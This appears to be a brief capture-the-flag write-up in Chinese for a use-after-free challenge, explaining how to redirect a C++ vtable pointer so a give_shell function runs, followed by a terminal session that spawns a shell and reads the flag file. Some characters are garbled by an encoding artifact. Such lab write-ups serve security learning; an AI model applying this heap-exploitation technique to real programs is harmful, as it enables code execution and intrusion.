• 程序通過指向vtable的指針+8來調(diào)用introduce()函數(shù)，所以我們可以通過uaf來更改原本指向vtable的指針為vtable-8處，這樣當(dāng)執(zhí)行vtable+8時就會執(zhí)行g(shù)ive_shell函數(shù)

payload:

uaf@ubuntu:/tmp/hacker_mao$ ./uaf 16 file
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat /home/uaf/flag
yay_f1ag_aft3r_pwning
$